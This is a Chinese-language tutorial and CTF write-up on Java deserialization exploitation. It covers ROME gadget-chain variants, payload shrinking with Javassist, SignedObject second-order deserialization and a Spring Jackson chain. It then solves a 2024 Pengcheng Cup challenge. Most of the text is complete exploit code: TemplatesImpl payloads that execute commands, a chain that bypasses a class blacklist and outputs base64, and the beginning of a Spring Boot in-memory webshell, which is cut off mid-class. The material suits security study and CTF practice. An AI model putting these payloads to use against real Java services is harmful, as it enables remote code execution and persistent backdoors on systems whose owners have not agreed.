这块能正常执行代码,但会存在一个问题,我在执行的时候会触发两次执行命令,一次是在 22 行的位置触发,第二次会在反序列化的时候触发。在 22 行触发后你每跟进一次,都会触发一次,最后上网搜到后发现是我的调试环境配置得有问题,修改回来之后发现还是会触发两次,最后发现是之前 cc1 中碰到的那个,就是你 put 的时候不能直接把类 put 进去,而是要反射进行修改,才不会在序列化的时候也触发 payload。最后经过修改后的 payload 如下
package ysoserial.DoubleExp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class ROME_3 {
public static void main(String[] args) throws Exception {
// 创建 TemplatesImpl 对象并设置恶意字节码
TemplatesImpl tmpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\DoubleExp\\shell.class"));
setValue(tmpl, "_name", "aaa");
setValue(tmpl, "_bytecodes", new byte[][]{bytecodes});
setValue(tmpl, "_tfactory", new TransformerFactoryImpl());
// 创建 ToStringBean 和 EqualsBean 对象
ToStringBean tsb = new ToStringBean(Templates.class, tmpl);
EqualsBean ebean = new EqualsBean(ToStringBean.class, tsb);
// 创建 HashMap 并插入无害对象作为占位符
HashMap<Object, Object> map = new HashMap<>();
Object harmlessPlaceholder = new Object();
map.put(harmlessPlaceholder, "bbb");
// 直接在 main 方法中使用反射替换无害对象为 ebean
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object entry : table) {
if (entry != null) {
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
if (keyField.get(entry) == harmlessPlaceholder) {
keyField.set(entry, ebean);
break;
}
}
}
// 序列化和反序列化
serialize(map);
unserialize("ROME_2.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME_2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
return object;
}
}
这样就解决了在 put 的时候会进行调用的问题
其他利用链
在其他的利用链中,后半段大致都相同,都是通过 TemplatesImpl.getOutputProperties()来进行任意类加载,有变化的都是其他位置
ObjectBean
这个类中的 hashcode 中调用了 beanHashCode 方法,然后在 EqualsBean 中的 beanHashCode 方法中调用了 toString 方法,跟直接利用 EqualsBean 类中的 hashCode 方法来调用 beanHashCode 方法是一个意思
其余都一样,最后代码如下
package ysoserial.DoubleExp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROME_ObjectBEN {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\DoubleExp\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "123");
serialize(hashMap);
unserialize("ROME_ObjectBEN.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME_ObjectBEN.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
HashTable
这条链并不单单针对的 ROME 链,这个的作用是替换反序列化的入口类 HashMap 类,如果 HashMap 被过滤了,我们就能用这个来进行替换,类似的还有 HashSet 也是能进行替换
最终依旧能够调用到 hashCode,能够正常的触发。
最终代码:
package ysoserial.DoubleExp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class ROME_HashTable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\javaDeserialization\\ysoserial-master\\target\\test-classes\\ysoserial\\DoubleExp\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
serialize(hashtable);
unserialize("ROME_HashTable.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME_HashTable.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object =ois.readObject();
return object;
}
}
还有很多其他链子,这里就不一一讲解了。
精简 payload
在有的情况下,反序列化会限制长度,这个时候就需要来将我们的 payload的长度来进行缩短,最终满足要求,实现反序列化。
通过Javassist缩短恶意class
什么是 javassist
Java 字节码是以二进制存储在 .class 文件中,每一个 .class 文件都包含一个 java 类或接口。Javaassist就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过完全手动的方式生成一个新的类对象。
Maven 依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用。
常用方法:
- getDefault:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
- appendClassPath, insertClassPath:将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
- toClass:将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
- makeClass:根据类名创建新的CtClass对象;
- get,getCtClass:根据类路径名获取该类的CtClass对象,用于后续的编辑。
可以使用toBytecode()函数来获取修改过的字节码:
byte[] b = cc.toBytecode();
也可以通过toClass()函数直接将CtClass转换成Class对象:
Class clazz = cc.toClass();
toClass()会请求当前线程的ClassLoader加载CtClass所代表的类文件,它返回此类文件的java.lang.Class对象。
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取,CtClass需要关注的方法:
- addMethod,removeMethod:添加/移除一个CtMethod;
- writeFile:根据CtClass生成.class文件;
- addField,removeField:添加/移除一个CtField;
- addConstructor,removeConstructor:添加/移除一个CtConstructor
- freeze:冻结一个类,使其不可修改;isFrozen:判断一个类是否已被冻结;
- defrost:解冻一个类,使其可以被修改;
- prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
- detach:将该class从ClassPool中删除;
简单例子:
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class CtMethodExample {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("HelloWorld");
// 创建一个方法
CtMethod method = new CtMethod(CtClass.voidType, "sayHello", null, cc);
method.setBody("{ System.out.println(\"Hello, World!\"); }");
// 将方法添加到类中
cc.addMethod(method);
// 输出类的字节码
cc.writeFile(); // 会生成一个 HelloWorld.class 文件
}
}
CtMthod
CtMthod代表类中的某个方法,可以通过CtClass提供的API获取 或者 构造方法 或者 CtNewMethod.make()方法新建,通过CtMethod对象可以实现对方法的修改。重要方法如下:
- insertBefore:在方法的起始位置插入代码;
- insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
- insertAt:在指定的位置插入代码;
- setBody:将方法的内容设置为要写入的代码,当方法被abstract修饰时,该修饰符被移除;
- make:创建一个新的方法。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class CtMethodExample {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("HelloWorld");
// 创建一个方法
CtMethod method = new CtMethod(CtClass.voidType, "sayHello", null, cc);
method.setBody("{ System.out.println(\"Hello, World!\"); }");
// 将方法添加到类中
cc.addMethod(method);
// 输出类的字节码
cc.writeFile(); // 会生成一个 HelloWorld.class 文件
}
}
CtField
CtField代表类中的某个属性,可以直接通过其构造方法创建实例
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
public class CtFieldExample {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("HelloWorld");
// 创建一个字段
CtField field = new CtField(pool.get("java.lang.String"), "message", cc);
field.setModifiers(javassist.Modifier.PUBLIC); // 设置字段为公共的
// 将字段添加到类中
cc.addField(field);
// 输出类的字节码
cc.writeFile(); // 会生成一个 HelloWorld.class 文件
}
}
CtConstructor
CtConstructor代表类中的一个构造器,可以通过CtConstructor.make方法创建:
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class CtConstructorExample {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("HelloWorld");
// 创建一个无参构造函数
CtConstructor constructor = new CtConstructor(null, cc);
constructor.setBody("{ this.message = \"Hello from Constructor!\"; }");
// 将构造函数添加到类中
cc.addConstructor(constructor);
// 输出类的字节码
cc.writeFile(); // 会生成一个 HelloWorld.class 文件
}
}
更多内容见:Javassist用法
简化 payload
以我们的 rome 链为例,我们的恶意类需要继承AbstractTranslet 类才能正常触发整个链子的流程,然而要想将 Java 代码编译成 class 文件,就需要一些必须的结构:
package ysoserial.MyCC3;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
下面两个空的 transform 方法是必须存在的,不然会编译不成功,这样就会导致我们的 payload 非常的长
但用 javassist 就能省去这些不必要的东西,直接将其生成一个 class 文件,使 payload 变短,最终代码如下:
package ysoserial.DoubleExp;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
public class Javassist_Make_Shell {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("A");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
cc.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"calc\");}",cc);
cc.addConstructor(constructor);
cc.toBytecode();
}
}
能直接从 2000 多变到 1000 多。
更多讲解:
Java反序列化之ROME反序列化 - 先知社区
二次反序列化
二次反序列化,故名思意,就是将已经反序列化后的数据再反序列化一次,主要目的是用来绕过黑名单的
SignedObject
这是一个 java.security 下的一个用于创建真实运行时对象的类,更具体的说,SignedObject 包含另一个 Serializable 对象。
反序列化的内容可控:
序列化的内容也可控:
所以我们可以构建恶意类
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));
然后调用 getObject 方法,便能成功触发序列化和反序列化,现在就只差一个来调用 getObject 方法的类就行
rome 的利用
Spring-jackson 原生链触发反序列化
Jackson 类是 Spring-boot 中自带的一个类,当存在 spring 类的时候就会存在 jackson 类,在这个类中,除了正常的 通过注解来进行反序列化,我们还能通过调用任意 getter 来进行反序列化。
在 jackson 中,序列化 json 字符串主要是通过 ObjectMapper#writeValueAsString 方法来进行调用 getter 的
随便写一段代码来调试下:
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Person {
private String name;
private int age;
// 构造函数
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// Getter和Setter
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
// 主方法,用于测试序列化
public static void main(String[] args) throws JsonProcessingException {
// 创建一个Person对象
Person person = new Person("John", 30);
// 创建ObjectMapper实例
ObjectMapper objectMapper = new ObjectMapper();
// 序列化为JSON字符串
String jsonString = objectMapper.writeValueAsString(person);
// 输出JSON字符串
System.out.println(jsonString);
}
}
断点下在 40 行,大致堆栈如下:
serializeAsField:688, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:770, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4487, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3742, ObjectMapper (com.fasterxml.jackson.databind)
main:42, Person (org.example.jackson.demos.web)
首先我们进入到的就是writeValueAsString:3742, ObjectMapper 这个方法,这个方法先创建了一个SegmentedStringWriter
对象 ,用于将字符写入缓冲区,然后调用 _writeValueAndClose 方法进行序列化。
然后进入到_writeValueAndClose:4487, ObjectMapper 的这个方法中进行反序列化,在这个方法中我们会通过 _serializerProvider(cfg)
获取一个序列化提供者,这个对象负责执行序列化操作。serializeValue(g, value)
会将 value
序列化为 JSON,并通过 JsonGenerator g
写入 JSON 数据。
然后就到了 serializeValue:319, DefaultSerializerProvider 这个方法中,这个方法先判断传入的值是否为空,不为空就 通过 value.getClass()
获取传入对象的运行时类型(Class
对象), 调用 findTypedValueSerializer(cls, true, null)
来查找适用于该对象类型 cls
的序列化器 , 获取配置中定义的根名称。如果没有特别指定,通常会使用类的默认名称 , 如果没有启用根包装,且没有显式指定根名称,最后调用 _serialize
方法进行常规序列化,将对象直接转换为 JSON 格式并输出 。
然后到_serialize:480, DefaultSerializerProvider 这个方法,这里经过了好几个同名方法的判断,最总跳到了这个方法中,这段是判断它有没有对象表示符,没有则直接序列化,又则,跟据他的逻辑进行序列化
然后就到了serializeFields:770, BeanSerializerBase 这个方法中,这个方法是进行检索存储的信息后调用 serializeAsField 来进行序列化。
最后跟进到serializeAsField:688, BeanPropertyWriter 这个方法中,在这里实现的最终的序列化,这里能通过反射获取你序列化的类的方法的值。
到此整个序列化流程就算是结束。所以现在已经很清楚了,我们能反射获取我们序列化的类的任意 getter 方法,所以,现在我们只要能控制其序列化的类,成为我们的恶意类,这条链子就完整的出现了。在之前我们的templatesImpl 类中存在一个 getOutputProperties 能够是实现任意恶意类加载,现在只需要一个 readObject 来触发就成功了。
ArrayNode 是 JSON 库中的类,用于表示JSON数组。继承了祖先类BaseJsonNode,而BaseJsonNode重写了toString方法
该toString会把json数组中的每一个对象执行JSON序列化,返回String类型,然后在而BadAttributeValueExpException的readObject方法中,可以执行一个可控对象的toString。
到现在,一个完整的链就出来了:通过 hashmap 调用BadAttributeValueExpException 的 readObject,触发BaseJsonNode 的 toString,进行 jackson 的序列化,触发调用我们序列的的恶意类中的 getter 方法,我们再传入templatesImpl 的 getter 方法来实现任意恶意类加载,就能成功执行命令。代码如下:
package org.example.jackson.demos.web;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.BinaryNode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
public class JacksonPayload {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("org.example.jackson.demos.web.Calc");
CtClass cc2 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
cc.setSuperclass(cc2);
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"calc\");}",cc);
cc.addConstructor(constructor);
byte[][] bttes = new byte[][]{cc.toBytecode()};
TemplatesImpl templateImpl = new TemplatesImpl();
setValue(templateImpl,"_name","aaa");
setValue(templateImpl,"_bytecodes",bttes);
setValue(templateImpl,"_tfactory",new TransformerFactoryImpl());
templateImpl.toString();
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(templateImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,arrayNode);
serialize(badAttributeValueExpException);
unserialize("set23.bin");
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
ois.close();
return object;
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("set23.bin"));
oos.writeObject(obj);
oos.close();
}
public static <T> void setValue(Object obj,String name,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(name);
filed.setAccessible(true);
filed.set(obj,f);
}
}
在序列化的时候会报这个错误。我们调试能够发现,这个报错是由于在序列化 ArrayNode 对象的时候,由于父类的父类 BaseJsonNode 有 writeReplace 方法会替代原始的序列化对象的方法。所以我们只需要通过 Javassist 来动态修改类,将该方法删除就行。
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
这样就能使其不报错还正常触发链子。
不稳定解决方式
我们上面通过 ArrayNode 来触发这一整条链子是由缺陷的,当我们在正常运行时,有可能会触发下面的报错
com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
这个的原因时我们在调用 getter 方法的时候,他这个调用顺序时随机的,有的时候会调到我们不想要的 getter 类
在调用 getOutPutProperty 方法前,会先都用 getStylesheetDOM 这个方法,这时的这时候_sdom为null会导致报错,中断整个链子的反序列化过程,这里只需找个代理对象,即可,在之前 cc 链中又有讲,就不多做描述了。
例题
2024 鹏程杯
这道题的大致代码如下:
hello.java
package com.backdoor.classes;
// 引入所需的包和类
import backdoor.classes.look;
import java.io.Serializable;
// 定义了一个名为 "hello" 的类,该类实现了 Serializable 接口
public class hello implements Serializable {
// 定义了一个名为 "name" 的私有字符串变量
private String name;
// 定义了一个名为 "eval" 的方法,该方法没有返回值
public void eval() {
try {
// 使用 "name" 变量的值来实例化一个 "look" 对象,并调用该对象的 "runcmd" 方法
(new look(this.name)).runcmd();
} catch (Exception var2) {
// 捕获异常并抛出运行时异常,传入捕获到的异常信息
throw new RuntimeException(var2);
}
}
// 重写 hashCode 方法
public int hashCode() {
// 调用 "eval" 方法
eval();
// 返回 "name" 字符串的哈希值,如果 "name" 为 null,则返回 0
return (this.name != null) ? this.name.hashCode() : 0;
}
}
look.java
package backdoor.classes;
// 引入了所需的包和类
import java.io.Serializable;
import javax.naming.InitialContext;
import javax.naming.NamingException;
// 定义一个名为 "look" 的类,实现了 Serializable 接口
public class look implements Serializable {
// 定义了一个私有字符串变量 "cmd",用于存储传入的命令
private String cmd;
// 构造方法,接收一个字符串参数并赋值给 "cmd" 变量
public look(String s) {
this.cmd = s;
}
// 定义了一个 "runcmd" 方法,返回类型为 String,抛出 NamingException
public String runcmd() throws NamingException {
// 打印正在进行的查找操作,输出格式为 "lookup for: <cmd>"
System.out.println("lookup for: " + this.cmd);
// 创建一个 JNDI 的初始上下文(InitialContext),用于查找资源
InitialContext ctx = new InitialContext();
// 使用上下文执行查找操作,根据 "cmd" 字符串查找相应的资源
Object result = ctx.lookup(this.cmd);
// 打印查找结果,输出格式为 "result: <result>"
System.out.println("result: " + result);
// 返回字符串 "1",表示方法正常完成(不一定是实际结果)
return "1";
}
}
IndexController.java
package com.backdoor.controller;
import java.io.ByteArrayInputStream;
import java.io.InvalidClassException;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
@RequestMapping(value = {"/des"}, method = {RequestMethod.POST})
public String deserialize(@RequestParam("base64Data") String base64Data) {
System.out.println(base64Data);
byte[] serializedData = Base64.getMimeDecoder().decode(base64Data);
String option = deserializeData(serializedData);
return option;
}
private static String deserializeData(byte[] serializedData) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(serializedData);
com.backdoor.util.MyInputstream ois = new com.backdoor.util.MyInputstream(bis);
ois.readObject();
ois.close();
bis.close();
return "success";
} catch (InvalidClassException e) {
System.out.println(e.toString());
return "hacker";
} catch (Exception e) {
return "error";
}
}
}
MyInputstream.java
package com.backdoor.util;
import com.backdoor.classes.hello;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Hashtable;
public class MyInputstream extends ObjectInputStream {
private ArrayList list = new ArrayList();
public MyInputstream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
this.list.add(TemplatesImpl.class.getName());
this.list.add(hello.class.getName());
this.list.add(HashMap.class.getName());
this.list.add(Hashtable.class.getName());
System.out.println(desc.getName());
if (this.list.contains(desc.getName()))
throw new InvalidClassException("nonono");
return super.resolveClass(desc);
}
}
这道题的题目环境是不出网的,现在,存在 home 依赖和 spring-boot ,我们正好用 二次反序列化打 jackson 链载入内存马。payload 如下:
package org.example.jackson.demos.web;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashSet;
public class JacksonPayload {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("org.example.jackson.demos.web.Calc");
CtClass cc2 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
cc.setSuperclass(cc2);
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass.toClass();
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"calc\");}",cc);
cc.addConstructor(constructor);
byte[][] bttes = new byte[][]{cc.toBytecode()};
TemplatesImpl templateImpl = new TemplatesImpl();
setValue(templateImpl,"_name","aaa");
setValue(templateImpl,"_bytecodes",bttes);
setValue(templateImpl,"_tfactory",new TransformerFactoryImpl());
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(templateImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,arrayNode);
// serialize(badAttributeValueExpException);
// unserialize("set23.bin");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
ObjectBean bean = new ObjectBean(ObjectBean.class,new ObjectBean(String.class,"rand"));
HashSet hashSet = new HashSet();
hashSet.add(bean);
ObjectBean exp =new ObjectBean(SignedObject.class,signedObject);
setValue1(bean,"_equalsBean",new EqualsBean(ObjectBean.class,exp));
serialize(hashSet);
String a = encodeFileToBase64("set23.bin");
System.out.println(a);
unserialize("set23.bin");
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object object = ois.readObject();
ois.close();
return object;
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("set23.bin"));
oos.writeObject(obj);
oos.close();
}
public static <T> void setValue(Object obj,String name,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(name);
filed.setAccessible(true);
filed.set(obj,f);
}
public static String encodeFileToBase64(String filePath) throws IOException {
File file = new File(filePath);
try (FileInputStream fileInputStream = new FileInputStream(file)) {
byte[] fileBytes = new byte[(int) file.length()];
fileInputStream.read(fileBytes); // 读取文件字节内容
return Base64.getEncoder().encodeToString(fileBytes); // Base64 编码
}
}
public static void setValue1(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
这是弹计算器的,动态加载字节码的地方换成内存马就行了。内存马如下:
package gadget.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringBootMemoryShellOfController extends AbstractTranslet {
public Integer i = 0;
public SpringBootMemoryShellOfController() throws Exception {
// 1. 利用 Spring 内部方法获取 context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从 context 中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = SpringBootMemoryShellOfController.class
.getMethod("test", HttpServletRequest.class, HttpServletResponse.class);
// 在内存中动态注册 controller
RequestMappingInfo info = RequestMappingInfo.paths("/test1").options(config).build();
if (i == 0) {
SpringBootMemoryShellOfController springBootMemoryShellOfController =
new SpringBootMemoryShellOfController("aaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
System.out.println(i);
i = 1;
}
}
public SpringBootMemoryShellOfController(String test) {
}
